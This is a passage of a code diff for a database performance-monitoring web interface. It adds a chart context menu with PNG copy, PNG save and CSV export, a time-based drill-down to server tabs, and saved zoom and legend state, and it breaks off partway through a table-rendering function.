+/** Half of the range an "at this time" item opens: the smallest custom range the picker allows is one hour. */
+export const AT_TIME_HALF_WINDOW_MS = 30 * 60000;
+
+/* The "at this time" items: label, the server sub-tab the item opens (Deadlocks is a panel of the Blocking tab), and the
+   title of the panel it brings into view there (the desktop's Deadlocks item opens its Deadlocks sub-tab, where the web
+   has a grid further down the Blocking tab). Like the desktop (ServerTab.xaml.cs AddChartDrillDownMenuItem), a chart
+   offers the ONE item that matches what it plots. atTime.item names it; Active Queries is the default. */
+const AT_TIME_TARGETS = {
+  queries: { label: CHART_MENU_LABELS.atQueries, tab: "queries", panel: "Active Queries" },
+  blocking: { label: CHART_MENU_LABELS.atBlocking, tab: "blocking", panel: "Blocking" },
+  deadlocks: { label: CHART_MENU_LABELS.atDeadlocks, tab: "blocking", panel: "Deadlocks" },
+  /* The wait trend chart's item (#5235): opens Active Queries too; its label names the wait, so the menu builds it. */
+  wait: { label: CHART_MENU_LABELS.atQueries, tab: "queries", panel: "Active Queries" },
+};
+
+/* The custom range an at-this-time item applies: t +- 30 minutes. A range may not end in the future, so near "now" the
+   hour is shifted back to end at the current time (it still holds t). A null t keeps the range the page holds (a wait row
+   with no instant of its own, #5235). Success runs beforeRoute, then scrolls the item's own grid into view and routes to
+   the tab; a refused range calls say with the reason, returns it, sets no filter and does not route. */
+export async function openServerTabAt(server, tMs, item, { beforeRoute = null, say = null } = {}) {
+  const g = AT_TIME_TARGETS[item] || AT_TIME_TARGETS.queries;
+  const tell = (msg) => {
+    if (typeof say === "function") say(msg);
+  };
+  try {
+    if (Number.isFinite(tMs)) {
+      const mod = await import("./pages/server.js");
+      let start = tMs - AT_TIME_HALF_WINDOW_MS;
+      let end = tMs + AT_TIME_HALF_WINDOW_MS;
+      const now = Date.now();
+      if (end > now) {
+        end = now;
+        start = now - 2 * AT_TIME_HALF_WINDOW_MS;
+      }
+      const err = mod.applyCustomRange(server, start, end, now, { redraw: false });
+      if (err) {
+        tell(err);
+        return err;
+      }
+    }
+    if (typeof beforeRoute === "function") beforeRoute();
+    /* Bring the item's own grid into view once the router has built the tab. The router's hashchange listener was
+       added first (app.js), and for a server already on screen renderServer paints the tab synchronously, so the new
+       panels are in place when this one runs. A chart and a grid share the title "Deadlocks"; the grid is the later one.
+       The listener is once-only, and added after the range is taken, so a refused range leaves none behind. */
+    if (typeof window.addEventListener === "function") {
+      window.addEventListener(
+        "hashchange",
+        () => {
+          const heads = [...document.querySelectorAll(".panel > h3")].filter((h) => h.firstChild && h.firstChild.textContent === g.panel);
+          const last = heads[heads.length - 1];
+          if (last && last.parentNode.scrollIntoView) last.parentNode.scrollIntoView({ block: "start" });
+        },
+        { once: true }
+      );
+    }
+    /* A full render, not a panel redraw, so the range picker in the page head shows the new range too (#5230). Setting
+       the hash to the tab already open fires no hashchange, so then the event is raised here. */
+    const target = "#/server/" + encodeURIComponent(server) + "/" + g.tab;
+    if (location.hash === target) window.dispatchEvent(new Event("hashchange"));
+    else location.hash = target;
+    return null;
+  } catch (e) {
+    const msg = "Could not open that time: " + (e && e.message ? e.message : "the page refused.");
+    tell(msg);
+    return msg;
+  }
+}
+
+const SVG_STYLE_PROPS = ["fill", "stroke", "stroke-width", "stroke-dasharray", "stroke-linecap", "stroke-linejoin", "opacity", "fill-opacity", "stroke-opacity", "font-family", "font-size", "font-weight", "font-variant-numeric", "text-anchor", "display"];
+const IMAGE_SCALE = 2;
+
+/** The chart's series as CSV rows: a header, then one row per (time, series) with a value. Times are UTC. */
+export function chartCsvRows(rows, xKey, series, series2) {
+  const all = series2 ? series.concat([series2]) : series;
+  const out = [["DateTime (UTC)", "Series", "Value"]];
+  for (const { t, r } of rows) {
+    const stamp = t.toISOString().slice(0, 19).replace("T", " ");
+    for (const s of all) {
+      const v = r[s.key];
+      if (v == null || v === "" || isNaN(v)) continue;
+      out.push([stamp, s.label || s.key, Number(v)]);
+    }
+  }
+  return out;
+}
+
+/** The text Show Data Source displays: the read name, then each parameter on its own line. */
+export function chartSourceLines(source) {
+  const lines = ["Read: " + String(source.read)];
+  const params = source.params && typeof source.params === "object" ? Object.entries(source.params) : [];
+  if (params.length === 0) lines.push("Parameters: none");
+  else for (const [k, v] of params) lines.push(k + " = " + (v != null && typeof v === "object" ? JSON.stringify(v) : String(v)));
+  return lines;
+}
+
+/* A copy of the live SVG with the computed style of every element written onto it, so the PNG matches the screen
+   (the page's CSS and theme variables do not travel with a serialized SVG). */
+function inlineStyledSvgClone(root) {
+  const clone = root.cloneNode(true);
+  const live = [root].concat(Array.from(root.querySelectorAll("*")));
+  const copy = [clone].concat(Array.from(clone.querySelectorAll("*")));
+  live.forEach((node, i) => {
+    const cs = getComputedStyle(node);
+    const decl = SVG_STYLE_PROPS.map((p) => p + ":" + cs.getPropertyValue(p)).join(";");
+    copy[i].setAttribute("style", decl);
+  });
+  const box = root.getBoundingClientRect();
+  clone.setAttribute("width", String(Math.round(box.width) || CHART_DEFAULT_W));
+  clone.setAttribute("height", String(Math.round(box.height) || H));
+  clone.setAttribute("xmlns", SVG_NS);
+  return clone;
+}
+
+/* Rasterizes the chart to a PNG blob on a canvas: no network, the SVG goes in as a data URL. */
+async function chartPngBlob(root) {
+  const clone = inlineStyledSvgClone(root);
+  const width = Number(clone.getAttribute("width"));
+  const height = Number(clone.getAttribute("height"));
+  const url = "data:image/svg+xml;charset=utf-8," + encodeURIComponent(new XMLSerializer().serializeToString(clone));
+  const img = new Image();
+  await new Promise((resolve, reject) => {
+    img.onload = resolve;
+    img.onerror = () => reject(new Error("the browser could not draw the chart"));
+    img.src = url;
+  });
+  const canvas = document.createElement("canvas");
+  canvas.width = width * IMAGE_SCALE;
+  canvas.height = height * IMAGE_SCALE;
+  const ctx = canvas.getContext("2d");
+  ctx.fillStyle = getComputedStyle(document.body).backgroundColor || "#fff";
+  ctx.fillRect(0, 0, canvas.width, canvas.height);
+  ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
+  return new Promise((resolve, reject) => canvas.toBlob((b) => (b ? resolve(b) : reject(new Error("the browser could not encode the image"))), "image/png"));
+}
+
+function menuFileStem(title) {
+  return String(title || "chart").toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-+|-+$/g, "").slice(0, 60) || "chart";
+}
+
+/* What a chart's menu and Show Data Source panel have open, at MODULE scope so the 60 s poll's rebuild of the
+   panel puts them back. Keyed by chart identity (the key zoomableLineChart passes: id + scope); an entry older than
+   MENU_STATE_TTL_MS is ignored, so a chart left while its menu was open does not reopen it much later. */
+const chartMenuStates = new Map();
+const MENU_STATE_TTL_MS = 90000;
+
+function attachChartMenu(chart, rootOf, opts, rows) {
+  const { title, source, zoomed, onResetZoom, xKey, series, series2, menuKey, atTime, pickAt } = opts;
+  const owner = {};
+  const held = menuKey ? chartMenuStates.get(menuKey) : null;
+  const restore = held && Date.now() - held.at < MENU_STATE_TTL_MS ? held : null;
+  const hold = (patch) => {
+    if (!menuKey) return;
+    const cur = chartMenuStates.get(menuKey) || {};
+    chartMenuStates.set(menuKey, { ...cur, ...patch, owner, at: Date.now() });
+  };
+  const release = (field) => {
+    const cur = menuKey ? chartMenuStates.get(menuKey) : null;
+    if (!cur || cur.owner !== owner) return;
+    if (field === "menu") cur.menu = null;
+    else cur.source = false;
+    if (!cur.menu && !cur.source) chartMenuStates.delete(menuKey);
+  };
+  const hasSource = !!(source && source.read);
+  const canReset = zoomed === true && typeof onResetZoom === "function";
+  const button = el("button", { class: "chart-menu-btn", type: "button", title: "Chart menu", "aria-label": "Chart menu", "aria-haspopup": "menu", "aria-expanded": "false", text: "⋯" });
+  const status = el("div", { class: "chart-menu-status", role: "status" });
+  const sourceBox = el("div", { class: "chart-source" });
+  sourceBox.style.display = "none";
+  let popup = null;
+  let outside = null;
+
+  const say = (msg) => {
+    status.textContent = msg;
+  };
+  const close = () => {
+    if (popup) {
+      chart.removeChild(popup);
+      popup = null;
+    }
+    button.setAttribute("aria-expanded", "false");
+    release("menu");
+    if (outside && typeof document.removeEventListener === "function") document.removeEventListener("click", outside);
+    outside = null;
+  };
+  const actions = [];
+  actions.push({
+    label: CHART_MENU_LABELS.copy,
+    run: async () => {
+      try {
+        const nav = typeof navigator !== "undefined" ? navigator : null;
+        if (!nav || !nav.clipboard || typeof nav.clipboard.write !== "function" || typeof ClipboardItem === "undefined" || window.isSecureContext === false) {
+          say("Copy isn't available here: the browser only allows it on a secure (HTTPS or localhost) page.");
+          return;
+        }
+        /* Safari only honours the click for a clipboard write that is started at once, so the item takes the
+           still-rendering PNG as a promise instead of awaiting it first. */
+        await nav.clipboard.write([new ClipboardItem({ "image/png": chartPngBlob(rootOf()) })]);
+        say("Image copied.");
+      } catch (e) {
+        say("Copy failed: " + (e && e.message ? e.message : "the browser refused."));
+      }
+    },
+  });
+  actions.push({
+    label: CHART_MENU_LABELS.save,
+    run: async () => {
+      try {
+        const blob = await chartPngBlob(rootOf());
+        const url = URL.createObjectURL(blob);
+        const a = document.createElement("a");
+        a.href = url;
+        a.download = menuFileStem(title) + ".png";
+        a.style.display = "none";
+        document.body.appendChild(a);
+        a.click();
+        document.body.removeChild(a);
+        setTimeout(() => URL.revokeObjectURL(url), 10000);
+        say("Image saved.");
+      } catch (e) {
+        say("Save failed: " + (e && e.message ? e.message : "the browser refused."));
+      }
+    },
+  });
+  if (canReset) actions.push({ label: CHART_MENU_LABELS.reset, run: () => onResetZoom() });
+  actions.push({
+    label: CHART_MENU_LABELS.csv,
+    run: async () => {
+      try {
+        const tools = await import("./grid-tools.js");
+        tools.downloadCsv(tools.csvFileName(menuFileStem(title)), tools.toCsv(chartCsvRows(rows, xKey, series, series2)));
+        say("CSV exported.");
+      } catch (e) {
+        say("Export failed: " + (e && e.message ? e.message : "the browser refused."));
+      }
+    },
+  });
+  if (hasSource) {
+    actions.push({
+      label: CHART_MENU_LABELS.source,
+      run: () => {
+        sourceBox.textContent = "";
+        for (const line of chartSourceLines(source)) sourceBox.appendChild(el("div", { text: line }));
+        sourceBox.style.display = sourceBox.style.display === "none" ? "" : "none";
+        if (sourceBox.style.display === "none") release("source");
+        else hold({ source: true });
+      },
+    });
+  }
+  const showSource = () => {
+    sourceBox.textContent = "";
+    for (const line of chartSourceLines(source)) sourceBox.appendChild(el("div", { text: line }));
+    sourceBox.style.display = "";
+  };
+
+  const open = (x, y, t, wait) => {
+    if (popup) close();
+    const hasTime = !!atTime && Number.isFinite(t);
+    const g = hasTime ? AT_TIME_TARGETS[atTime.item] || AT_TIME_TARGETS.queries : null;
+    /* The wait item names the wait it was picked on (as text, in the button's label); with none, or a QDS_* wait (never
+       linked, like a row's), it is the generic Active Queries item. The wait item sets the wait filter and the generic
+       queries item clears it; Blocking and Deadlocks leave it alone. */
+    const named = !!g && atTime.item === "wait" && waitIsLinked(wait);
+    const timed = g
+      ? [
+          {
+            label: named ? "Show Queries With " + wait + " at This Time" : g.label,
+            run: () =>
+              openServerTabAt(atTime.server, t, atTime.item, {
+                say,
+                beforeRoute: g.tab === "queries" ? () => setQueryWaitFilter(atTime.server, named ? wait : "") : null,
+              }),
+          },
+        ]
+      : [];
+    const items = actions.concat(timed).map((a) => {
+      const b = el("button", { class: "chart-menu-item", type: "button", role: "menuitem", text: a.label });
+      b.addEventListener("click", () => {
+        close();
+        button.focus && button.focus();
+        a.run();
+      });
+      return b;
+    });
+    popup = el("div", { class: "chart-menu", role: "menu" }, items);
+    const at0 = typeof x === "number" && typeof y === "number" ? (hasTime ? (named ? { x, y, t, wait } : { x, y, t }) : { x, y }) : null;
+    if (at0) {
+      /* The stylesheet pins the menu to the right edge; a click position needs left/top alone. */
+      popup.style.right = "auto";
+      popup.style.left = at0.x + "px";
+      popup.style.top = at0.y + "px";
+    }
+    hold({ menu: at0 || {} });
+    popup.addEventListener("keydown", (e) => {
+      const at = items.indexOf(typeof document !== "undefined" ? document.activeElement : null);
+      if (e.key === "Tab") {
+        /* Leaving the menu closes it; focus goes back to the button so Tab carries on from there. */
+        button.focus && button.focus();
+        close();
+      } else if (e.key === "Escape") {
+        close();
+        button.focus && button.focus();
+      } else if (e.key === "ArrowDown") {
+        e.preventDefault();
+        items[(at + 1) % items.length].focus();
+      } else if (e.key === "ArrowUp") {
+        e.preventDefault();
+        items[(at - 1 + items.length) % items.length].focus();
+      }
+    });
+    chart.appendChild(popup);
+    if (at0) {
+      /* Keep the whole menu inside the chart's box. */
+      const box = chart.getBoundingClientRect();
+      const w = popup.offsetWidth || 0;
+      const h = popup.offsetHeight || 0;
+      popup.style.left = Math.max(0, Math.min(at0.x, box.width - w)) + "px";
+      popup.style.top = Math.max(0, Math.min(at0.y, box.height - h)) + "px";
+    }
+    button.setAttribute("aria-expanded", "true");
+    if (items[0] && items[0].focus) items[0].focus();
+    if (typeof document.addEventListener === "function") {
+      outside = (e) => {
+        if (e && e.target === button) return;
+        close();
+      };
+      /* After this click finishes, so the click that opened the menu does not close it. */
+      setTimeout(() => outside && document.addEventListener("click", outside), 0);
+    }
+  };
+
+  button.addEventListener("click", () => (popup ? close() : open()));
+  chart.addEventListener("contextmenu", (e) => {
+    e.preventDefault();
+    const box = chart.getBoundingClientRect();
+    /* Only a click on the drawing itself names a time: the legend, the status line, the ⋯ button and the open menu do not,
+       and Shift+F10 on the button lands here with the button as the target (#5230). `rootOf()` is the plot's current SVG (a resize rebuilds it). */
+    const onPlot = !!pickAt && !!e.target && rootOf().contains(e.target);
+    const at = onPlot ? pickAt(e.clientX, e.clientY) : undefined;
+    open(Math.max(0, e.clientX - box.left), Math.max(0, e.clientY - box.top), at ? at.t : undefined, at ? at.wait : undefined);
+  });
+  chart.appendChild(button);
+  chart.appendChild(status);
+  chart.appendChild(sourceBox);
+  if (restore) {
+    if (restore.source && hasSource) {
+      showSource();
+      hold({ source: true });
+    }
+    if (restore.menu) {
+      const m = restore.menu;
+      open(typeof m.x === "number" ? m.x : undefined, typeof m.y === "number" ? m.y : undefined, typeof m.t === "number" ? m.t : undefined, typeof m.wait === "string" ? m.wait : undefined);
+    }
+  }
+}
+
+/* ─────────────────────────── client-side brush zoom ─────────────────────────── */
+
+/* The zoom each zoomable chart holds, at MODULE scope so the 60 s poll's rebuild of the panel grid re-applies it.
+   Keyed by chart identity (a title plus its read); each entry remembers the scope (server + the page's preset
+   range) it was made under, and a lookup under any other scope drops it — so switching server or range starts
+   every chart at its full domain. Bounded by the charts of the servers visited in one session. */
+const chartZooms = new Map();
+
+/* Hidden legend series per chart (#5247), held like the zoom: keyed by chart id, valid for one scope (server + tab +
+   range). A rebuild of the same chart under the same scope redraws with the same series hidden; another server, tab
+   or range is a different scope and starts with everything shown. */
+const chartHiddenSeries = new Map();
+
+/** The hidden series keys held for chart `id` under `scope` (a different scope clears the entry). */
+export function getChartHidden(id, scope) {
+  const h = chartHiddenSeries.get(id);
+  if (!h) return [];
+  if (h.scope !== scope) {
+    chartHiddenSeries.delete(id);
+    return [];
+  }
+  return h.keys;
+}
+
+/** Hold the hidden series keys for chart `id` under `scope`; an empty list clears the entry. */
+export function setChartHidden(id, scope, keys) {
+  if (!keys || !keys.length) chartHiddenSeries.delete(id);
+  else chartHiddenSeries.set(id, { scope, keys: [...keys] });
+}
+
+/** The scope a chart's zoom is held under: the page address (server + tab, or the FinOps tab) plus the page's
+ *  preset range in hours. A different server, tab or range is a different scope, so its charts start unzoomed. */
+export function chartZoomScope(hours) {
+  /* The `?…` query is not part of the scope (the same strip the grid sort state uses): a query-only change keeps the zoom. */
+  const hash = typeof location !== "undefined" && location.hash ? location.hash.split("?")[0] : "";
+  return hash + "|" + String(hours);
+}
+
+/** The zoom held for chart `id` under `scope`, or null. A different scope clears the entry. */
+export function getChartZoom(id, scope) {
+  const z = chartZooms.get(id);
+  if (!z) return null;
+  if (z.scope !== scope) {
+    chartZooms.delete(id);
+    return null;
+  }
+  return z;
+}
+
+/** Hold a zoom span (UTC-epoch ms) for chart `id` under `scope`; null from/to clears it. */
+export function setChartZoom(id, scope, fromMs, toMs) {
+  if (fromMs == null || toMs == null || !(toMs > fromMs)) chartZooms.delete(id);
+  else chartZooms.set(id, { scope, from: fromMs, to: toMs });
+}
+
+/**
+ * A line-chart spec narrowed to a zoom span: only the points already loaded that fall inside [from, to], with the
+ * x-axis domain set to the span. Nothing is refetched. A span holding no loaded point leaves the spec untouched
+ * (zoomed: false), so a stale zoom can never blank a chart.
+ */
+export function applyChartZoom(spec, zoom) {
+  if (!zoom) return { spec, zoomed: false };
+  const timed = [];
+  for (const r of spec.points || []) {
+    const d = parseUtc(r[spec.xKey]);
+    if (d) timed.push({ ms: d.getTime(), r });
+  }
+  timed.sort((a, b) => a.ms - b.ms);
+  const first = timed.findIndex((p) => p.ms >= zoom.from && p.ms <= zoom.to);
+  if (first < 0) return { spec, zoomed: false };
+  let last = first;
+  while (last + 1 < timed.length && timed[last + 1].ms <= zoom.to) last++;
+  /* One neighbour on each side of the span, so the line runs to both axis edges (the plot clips it there). */
+  const lo = first > 0 ? first - 1 : first;
+  const hi = last + 1 < timed.length ? last + 1 : last;
+  const inside = timed.slice(lo, hi + 1).map((p) => p.r);
+  return { spec: { ...spec, points: inside, windowStart: zoom.from, windowEnd: zoom.to }, zoomed: true };
+}
+
+/**
+ * The reset chip shown above a zoomed chart (the Custom Views chip, shared): the span and a × that calls
+ * onZoomChange(null). `zoom` is { startIso, endIso }.
+ */
+export function zoomChip(zoom, onZoomChange) {
+  const from = new Date(zoom.startIso);
+  const to = new Date(zoom.endIso);
+  const label = isNaN(from.getTime()) || isNaN(to.getTime())
+    ? "custom window"
+    : from.toLocaleString() + " → " + to.toLocaleString();
+  const chip = el("div", { class: "drill-chip zoom-chip" }, [
+    el("span", { class: "drill-label", text: "Zoomed: " + label }),
+  ]);
+  const clear = el("button", { class: "btn small drill-clear", type: "button", title: "Reset zoom", "aria-label": "Reset zoom", text: "×" });
+  clear.addEventListener("click", () => onZoomChange(null));
+  chip.appendChild(clear);
+  return chip;
+}
+
+/**
+ * renderLineChart with drag-to-zoom over the points it already has. Dragging narrows the x-domain to the brushed
+ * span and shows a reset chip; the zoom is held at module scope under (id, scope) so a rebuild of the same chart
+ * (the poll) draws it zoomed again. `id` names the chart within its tab; `scope` names what the data was loaded
+ * for (server + preset range) — a different scope draws the full domain.
+ */
+export function zoomableLineChart(spec, id, scope) {
+  const host = el("div", { class: "zoomable-chart" });
+  const allKeys = (spec.series || []).map((s) => s.key).concat(spec.series2 ? [spec.series2.key] : []);
+  const draw = () => {
+    const { spec: shown, zoomed } = applyChartZoom(spec, getChartZoom(id, scope));
+    /* A held zoom that no longer holds a loaded point (the span aged out of the window) is dropped, not kept dormant. */
+    if (!zoomed && getChartZoom(id, scope)) setChartZoom(id, scope, null, null);
+    const chart = renderLineChart({
+      ...shown,
+      zoomed,
+      menuKey: id + "|" + scope,
+      exportPoints: spec.points,
+      hiddenKeys: getChartHidden(id, scope),
+      onLegend: (action, key) => {
+        setChartHidden(id, scope, nextHiddenKeys(allKeys, getChartHidden(id, scope), action, key));
+        draw();
+      },
+      onResetZoom: () => {
+        setChartZoom(id, scope, null, null);
+        draw();
+      },
+      onZoom: (fromMs, toMs) => {
+        /* Only a span that holds a loaded point is kept; an empty brush stores nothing, so a later poll cannot zoom unasked. */
+        if (applyChartZoom(spec, { from: fromMs, to: toMs }).zoomed) {
+          setChartZoom(id, scope, fromMs, toMs);
+          draw();
+        }
+      },
+    });
+    const z = zoomed ? getChartZoom(id, scope) : null;
+    const chip = z
+      ? zoomChip({ startIso: new Date(z.from).toISOString(), endIso: new Date(z.to).toISOString() }, () => {
+          setChartZoom(id, scope, null, null);
+          draw();
+        })
+      : null;
+    mount(host, [chip, chart]);
+  };
+  draw();
+  return host;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/compose.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/compose.js
index cbc405626a..d211780f6f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/compose.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/compose.js
@@ -20,9 +20,9 @@
  * inert. The chart SVG lives entirely in charts.js (one SVG_NS occurrence, the air-gap allowlist); this file has no SVG.
  */
 
-import { el, mount, loadingStrip, errorStrip, emptyStrip, disclosure, fmtInt, fmtNum, apiSendRead, noticeStrip, parseUtc } from "./util.js";
-import { renderLineChart, renderBarChart, renderPieChart, renderScatterChart, CATEGORICAL_COLORS } from "./charts.js";
-import { navigateServer } from "./panels.js";
+import { el, mount, loadingStrip, errorStrip, emptyStrip, disclosure, fmtInt, fmtNum, apiSendRead, noticeStrip, parseUtc, windowNoteText } from "./util.js";
+import { renderLineChart, zoomChip, getChartHidden, setChartHidden, nextHiddenKeys, chartZoomScope, renderBarChart, renderPieChart, renderScatterChart, CATEGORICAL_COLORS } from "./charts.js";
+import { navigateServer, gridTable } from "./panels.js";
 import { getCatalog } from "./views-api.js";
 
 /** The most series a time chart draws before pooling the rest into a "+N more" note (readability + palette size). */
@@ -40,13 +40,13 @@ const OTHER_SERIES_LABEL = "(other)";
  * shape (title + span-2 + a body that shows a loading strip, then the chart / a state). `scope` is the view-level
  * run context {server, hours, variables, values}; flipping it and re-rendering re-scopes every panel at once.
  */
-export function renderComposedPanelCard(panelSpec, scope, onSettled) {
+export function renderComposedPanelCard(panelSpec, scope, onSettled, slot = null) {
   const body = el("div", { class: "panel-body" }, [loadingStrip()]);
   const panel = el("div", { class: "panel card" + (panelSpec.span === 2 ? " span-2" : "") }, [
     el("h3", {}, [panelSpec.title || measureLabel(panelSpec), pinBadge(panelSpec)]),
     body,
   ]);
-  driveComposedPanel(body, panelSpec, scope, onSettled);
+  driveComposedPanel(body, panelSpec, scope, onSettled, slot);
   return panel;
 }
 
@@ -198,7 +198,7 @@ function pinHoursLabel(hours) {
  * never persisted (the stored definition renders verbatim), and a "clear" chip pops back to the base spec. Each new
  * selection REPLACES the drill (a simple "you are viewing X" model), so drilling never stacks into a dead end.
  */
-function driveComposedPanel(body, panelSpec, scope, onSettled) {
+function driveComposedPanel(body, panelSpec, scope, onSettled, slot = null) {
   let drill = null; // { keys: [{dimension, value}] } or null
   let zoom = null; // { startIso, endIso } or null (#1606 brush-zoom — view-state only, like the drill)
   let firstRun = true; // onSettled (#4222) fires once, for the initial load only — a later drill/zoom re-run is
@@ -215,7 +215,7 @@ function driveComposedPanel(body, panelSpec, scope, onSettled) {
     const spec = drill ? withDrillFilters(panelSpec, drill) : panelSpec;
     const done = firstRun ? onSettled : null;
     firstRun = false;
-    renderComposedInto(body, spec, scope, { drill, onDrill, zoom, onZoomChange }).finally(() => {
+    renderComposedInto(body, spec, scope, { drill, onDrill, zoom, onZoomChange, panelSlot: slot }).finally(() => {
       if (done) done();
     });
   }
@@ -230,6 +230,27 @@ function withDrillFilters(spec, drill) {
   return { ...spec, filters: [...(Array.isArray(spec.filters) ? spec.filters : []), ...extra] };
 }
 
+/** The run's partial-window notice in the browser's zone (#4966). The server writes `notice` with its instants in UTC,
+ *  which is all an MCP client can use, but every time this page prints is in the browser's zone (localTime): a notice
+ *  that said "2026-01-02 00:00 UTC" above a chart on a local axis mixed two clocks. When the notice is the data-start
+ *  one, the answer also carries the instants it names (`data_start_utc`, `window_start_utc`, `window_end_utc`) and the
+ *  sentence itself (`data_start_note`), so the sentence is written again by windowNoteText, the composition the server
+ *  page's grid notes use, and put back in place; a row-cap sentence beside it stays as sent. A field that is missing or
+ *  unreadable, or a notice that does not hold the sentence (the tier notice, which names no instant), is drawn as sent. */
+export function composedNoticeText(data) {
+  const notice = data.notice;
+  const sentence = data.data_start_note;
+  if (typeof notice !== "string" || typeof sentence !== "string" || !sentence || !notice.includes(sentence)) return notice;
+  const local = windowNoteText({
+    window_truncated: true,
+    truncation_note: sentence,
+    data_start_utc: data.data_start_utc,
+    window_start_utc: data.window_start_utc,
+    window_end_utc: data.window_end_utc,
+  });
+  return typeof local === "string" && local ? notice.split(sentence).join(local) : notice;
+}
+
 /** Run a composed panel and fill `body` with the chart (or the empty/error state). Used by the card + the live
  *  preview. `opts` (design D5/D6): {drill, onDrill} drive the transient drill-down chip + mark clicks. */
 export async function renderComposedInto(body, panelSpec, scope, opts = {}) {
@@ -256,10 +277,12 @@ export async function renderComposedInto(body, panelSpec, scope, opts = {}) {
        scope), so the drawn axis matches the window the rows were fetched over. renderComposedResult has no
        `scope`, so it is resolved here (where scope + zoom both live) and threaded through opts. */
     const chartWindow = resolveChartWindow(panelSpec, scope, opts.zoom);
-    const nodes = [renderComposedResult(data, panelSpec, { ...opts, annotationMeta, chartWindow })];
-    /* The run endpoint's partial-window notice (#1665): the chosen tier could not retain the whole
-       requested window on this store — good data, honestly caveated, above the chart. */
-    if (typeof data.notice === "string" && data.notice) nodes.unshift(noticeStrip(data.notice));
+    const nodes = [renderComposedResult(data, panelSpec, { ...opts, annotationMeta, chartWindow, scope })];
+    /* The run endpoint's partial-window notice (#1665, #4953): a caveat that the panel did not cover the whole
+       requested window. The chosen tier's retention could not cover it, OR the panel's own data starts after
+       the window does, OR the row cap truncated the result. Good data, honestly caveated, above the chart.
+       No notice means the window was served whole. */
+    if (typeof data.notice === "string" && data.notice) nodes.unshift(noticeStrip(composedNoticeText(data)));
     mount(body, nodes);
   } catch (e) {
     mount(body, errorStrip("Could not render this panel: " + (e && e.message ? e.message : String(e))));
@@ -337,6 +360,9 @@ function toRunPanel(p) {
 export function renderComposedResult(result, panelSpec, opts = {}) {
   const rows = Array.isArray(result.rows) ? result.rows : [];
   const nodes = [];
+  /* The panel's identity also keys the width its chart was last measured at (#5586), so a poll's rebuild is drawn at it. Unlike the
+     legend-hide state this holds nothing a collision could mix up, so a panel with no slot (the editor preview) gets a key too. */
+  const widthId = composedPanelId(panelSpec, opts.scope, opts.panelSlot);
 
   /* The transient drill-down chip (design D6) sits above the chart whenever a drill is active — with the pinned
      filter(s), a clear, and (for a server dimension) a jump to that server's detail page. The zoom chip (#1606)
@@ -396,8 +422,15 @@ export function renderComposedResult(result, panelSpec, opts = {}) {
          string alone would strip that real member's drill and hold it out of the series cap. */
       const hasResidual = isRankedTimeSeries(panelSpec) && panelSpec.includeOther === true;
       const { points, series, hidden } = pivotTimeSeries(rows, groupDims, measureLabel(panelSpec), hasResidual);
-      nodes.push(
-        renderLineChart({
+      /* #5247: the legend hide/isolate state is held under the panel's identity and the page address + range, like the
+         zoom of a built-in chart, so it survives the poll's rebuild. A panel with no slot (the editor preview) has no
+         stable identity, so it gets no switch rather than a key that might collide. */
+      const hiddenId = opts.panelSlot != null ? composedPanelId(panelSpec, opts.scope, opts.panelSlot) : null;
+      const hiddenScope = chartZoomScope(opts.scope ? opts.scope.hours : null);
+      const allKeys = series.map((x) => x.key).concat(overlaySeries ? [overlaySeries.key] : []);
+      const chartHost = hiddenId != null ? el("div", { class: "zoomable-chart" }) : null;
+      const drawChart = () => renderLineChart({
+          widthKey: widthId,
           points,
           xKey: "bucket",
           series,
@@ -418,8 +451,22 @@ export function renderComposedResult(result, panelSpec, opts = {}) {
              absolute window, and resolveChartWindow returns that same window — the zoom keeps winning. */
           windowStart: opts.chartWindow ? opts.chartWindow.windowStart : null,
           windowEnd: opts.chartWindow ? opts.chartWindow.windowEnd : null,
-        })
-      );
+          ...(hiddenId != null
+            ? {
+                hiddenKeys: getChartHidden(hiddenId, hiddenScope),
+                onLegend: (action, key) => {
+                  setChartHidden(hiddenId, hiddenScope, nextHiddenKeys(allKeys, getChartHidden(hiddenId, hiddenScope), action, key));
+                  mount(chartHost, drawChart());
+                },
+              }
+            : {}),
+        });
+      if (chartHost) {
+        mount(chartHost, drawChart());
+        nodes.push(chartHost);
+      } else {
+        nodes.push(drawChart());
+      }
       if (hidden > 0) {
         /* On a rank-then-bucket panel the hidden series are members the author explicitly ASKED to rank, not
            incidental low-priority groups, so the note has to say which promise the chart is not keeping. */
@@ -434,7 +481,7 @@ export function renderComposedResult(result, panelSpec, opts = {}) {
       break;
     }
     case "bar":
-      nodes.push(renderBarChart({ items: rankedItems(rows, groupDims), formatValue: fmt, unit: axisUnit(unit), thresholds, onSelect }));
+      nodes.push(renderBarChart({ items: rankedItems(rows, groupDims), formatValue: fmt, unit: axisUnit(unit), thresholds, onSelect, widthKey: widthId }));
       break;
     case "pie":
       nodes.push(renderPieChart({ items: rankedItems(rows, groupDims), formatValue: fmt, onSelect }));
@@ -451,6 +498,7 @@ export function renderComposedResult(result, panelSpec, opts = {}) {
           unitX: axisUnit(unit),
           unitY: axisUnit(overlayUnit),
           onSelect,
+          widthKey: widthId,
         })
       );
       break;
@@ -460,7 +508,7 @@ export function renderComposedResult(result, panelSpec, opts = {}) {
       break;
     case "table":
     default:
-      nodes.push(renderComposedTable(rows, unit));
+      nodes.push(renderComposedTable(rows, unit, panelSpec, opts.scope, opts.panelSlot));
       break;
   }
 
@@ -616,30 +664,31 @@ function renderScalar(rows, panelSpec, fmt) {
   ]);
 }
 
-/** Any result as a table of its returned columns — bucket localized, value formatted in the unit, dims as text. */
-function renderComposedTable(rows, unit) {
-  const cols = Object.keys(rows[0] || {});
-  if (!cols.length) return emptyStrip("No columns to show.");
-  const head = el(
-    "tr",
-    {},
-    cols.map((c) => el("th", { text: columnLabel(c), class: c === "value" ? "num" : null }))
-  );
-  const bodyRows = rows.map((row) =>
-    el(
-      "tr",
-      {},
-      cols.map((c) => {
-        if (c === "value") return el("td", { class: "num", text: formatComposedValue(row[c], unit) });
-        if (c === "bucket") return el("td", { text: localBucket(row[c]) });
-        const v = row[c];
-        return el("td", { text: v == null || v === "" ? "—" : String(v) });
-      })
-    )
-  );
-  return el("div", { class: "table-wrap" }, [
